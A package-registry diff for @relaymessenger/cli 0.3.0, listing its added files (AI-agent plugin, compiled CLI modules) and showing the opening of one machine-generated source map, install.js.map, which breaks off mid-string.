@relaymessenger/cli 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +139 -0
- package/claude-plugin/marketplace/.claude-plugin/marketplace.json +14 -0
- package/claude-plugin/marketplace/plugins/relay/.claude-plugin/plugin.json +18 -0
- package/claude-plugin/marketplace/plugins/relay/LICENSE +21 -0
- package/claude-plugin/marketplace/plugins/relay/README.md +173 -0
- package/claude-plugin/marketplace/plugins/relay/commands/configure.md +71 -0
- package/claude-plugin/marketplace/plugins/relay/runtime/server.mjs +26107 -0
- package/dist/api.d.ts +74 -0
- package/dist/api.d.ts.map +1 -0
- package/dist/api.js +129 -0
- package/dist/api.js.map +1 -0
- package/dist/claude-settings.d.ts +14 -0
- package/dist/claude-settings.d.ts.map +1 -0
- package/dist/claude-settings.js +47 -0
- package/dist/claude-settings.js.map +1 -0
- package/dist/cli.d.ts +3 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +162 -0
- package/dist/cli.js.map +1 -0
- package/dist/codex.d.ts +25 -0
- package/dist/codex.d.ts.map +1 -0
- package/dist/codex.js +227 -0
- package/dist/codex.js.map +1 -0
- package/dist/doctor.d.ts +2 -0
- package/dist/doctor.d.ts.map +1 -0
- package/dist/doctor.js +122 -0
- package/dist/doctor.js.map +1 -0
- package/dist/engine/acp.d.ts +69 -0
- package/dist/engine/acp.d.ts.map +1 -0
- package/dist/engine/acp.js +402 -0
- package/dist/engine/acp.js.map +1 -0
- package/dist/engine/catalog.d.ts +26 -0
- package/dist/engine/catalog.d.ts.map +1 -0
- package/dist/engine/catalog.js +41 -0
- package/dist/engine/catalog.js.map +1 -0
- package/dist/engine/process.d.ts +12 -0
- package/dist/engine/process.d.ts.map +1 -0
- package/dist/engine/process.js +54 -0
- package/dist/engine/process.js.map +1 -0
- package/dist/engine/types.d.ts +57 -0
- package/dist/engine/types.d.ts.map +1 -0
- package/dist/engine/types.js +8 -0
- package/dist/engine/types.js.map +1 -0
- package/dist/flags.d.ts +9 -0
- package/dist/flags.d.ts.map +1 -0
- package/dist/flags.js +34 -0
- package/dist/flags.js.map +1 -0
- package/dist/install.d.ts +69 -0
- package/dist/install.d.ts.map +1 -0
- package/dist/install.js +510 -0
- package/dist/install.js.map +1 -0
- package/dist/mcp.d.ts +16 -0
- package/dist/mcp.d.ts.map +1 -0
- package/dist/mcp.js +127 -0
- package/dist/mcp.js.map +1 -0
- package/dist/pair.d.ts +20 -0
- package/dist/pair.d.ts.map +1 -0
- package/dist/pair.js +135 -0
- package/dist/pair.js.map +1 -0
- package/dist/permissions.d.ts +87 -0
- package/dist/permissions.d.ts.map +1 -0
- package/dist/permissions.js +342 -0
- package/dist/permissions.js.map +1 -0
- package/dist/receive.d.ts +54 -0
- package/dist/receive.d.ts.map +1 -0
- package/dist/receive.js +353 -0
- package/dist/receive.js.map +1 -0
- package/dist/store.d.ts +260 -0
- package/dist/store.d.ts.map +1 -0
- package/dist/store.js +550 -0
- package/dist/store.js.map +1 -0
- package/openclaw-plugin/relaymessenger-openclaw-plugin-0.1.0.tgz +0 -0
- package/package.json +51 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"install.js","sourceRoot":"","sources":["../src/install.ts"],"names":[],"mappings":"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